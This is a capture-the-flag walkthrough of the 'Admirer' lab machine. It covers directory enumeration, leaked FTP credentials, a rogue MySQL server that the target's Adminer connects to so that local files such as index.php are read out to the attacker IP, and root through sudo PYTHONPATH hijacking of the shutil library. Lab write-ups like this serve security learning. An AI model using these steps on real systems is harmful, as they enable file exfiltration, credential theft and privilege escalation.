The attack path first involved some enumeration. I used dirsearch to find that there was a robots.txt file telling me that it led to a /admin-dir directory with credentials. I used gobuster on 10.10.10.187/admin-dir to see if there were other leaked data, and saw that 10.10.10.187/admin-dir/credentials.txt was another extension, and provided me with the password for ftp login. Using ftp, I saw that there was a file that described the contents of the website. There were other credentials in the files, which I used to try ssh logins but none worked. There was also an SQL file, in addition to a php file that had an interesting TODO. Additionally, a quick google search of "admirer exploit" returned "adminer exploit," which led me to think that this was a box related to the adminer exploit as detailed here:
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

Using the steps detailed here:
https://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html
https://www.yeahhub.com/mysql-command-line-tutorial-kali-linux/ I learned how to start an sql server with the command:
mysql -h localhost -u root -p
-h stands for the host, -u stands for user, and -p stands for password
In the database terminal, I wrote

1) create database final; # this command creates a new database which we will connect to from the vulnerable website
2) create user 'final_user'@'%' identified by 'password';
3) grant all privileges on * . * to 'final_user'@'%';
4) flush privileges; # after granting some privileges for a user, running this command reloads the grant table in mysql which allows changes to take place without restarting the mysql server
5) use final;
6) create table test (data varchar(255));

After exiting the mysql terminal and returning to the linux terminal, I typed

7) In the /etc/mysql/mariadb.conf.d/50-server.cnf file, I change the bind-address to 0.0.0.0
8) systemctl restart mysql

Finally, I start the mysql server on my local machine, and then I connect to it from the exploitable website with the command:
mysql -h localhost -u final_user -p
In the website interface, I type in for each field:
Server: 10.10.14.17
User: final_user
Password: password
Database: final

This gives me a remote connection to my mysql server, but with it, I can also retrieve data on the local machine. Specifically, this command in the 'SQL command' section gives me more credentials:
load data local infile '../index.php'
into table test

With these credentials, I can now ssh as waldo into 10.10.10.187. As waldo, I did sudo -l which showed me that I had permissions to run a file in /opt/scripts called admin_tasks.sh. I noticed that one of the options called a backup.py file in the same folder, and that backup.py imported from a library called shutil. After some research, I saw that I could use this method to do a privilege escalation: https://rastating.github.io/privilege-escalation-via-python-library-hijacking/
There is an order in which directories are traversed in order to find the necessary python package for a program. By creating our own shutil.py file with a function called make_archive and changing the order in which directories are traversed, we can call our shutil.py before the actual shutil.py file.

I change the order in which directories are traversed by changing the environment variable called PYTHONPATH. Specifically, after creating my own shutil.py python program and setting up a listener on my local machine, I run this command on terminal:
sudo PYTHONPATH=/home/waldo/hack admin_tasks.sh, which gives me root access.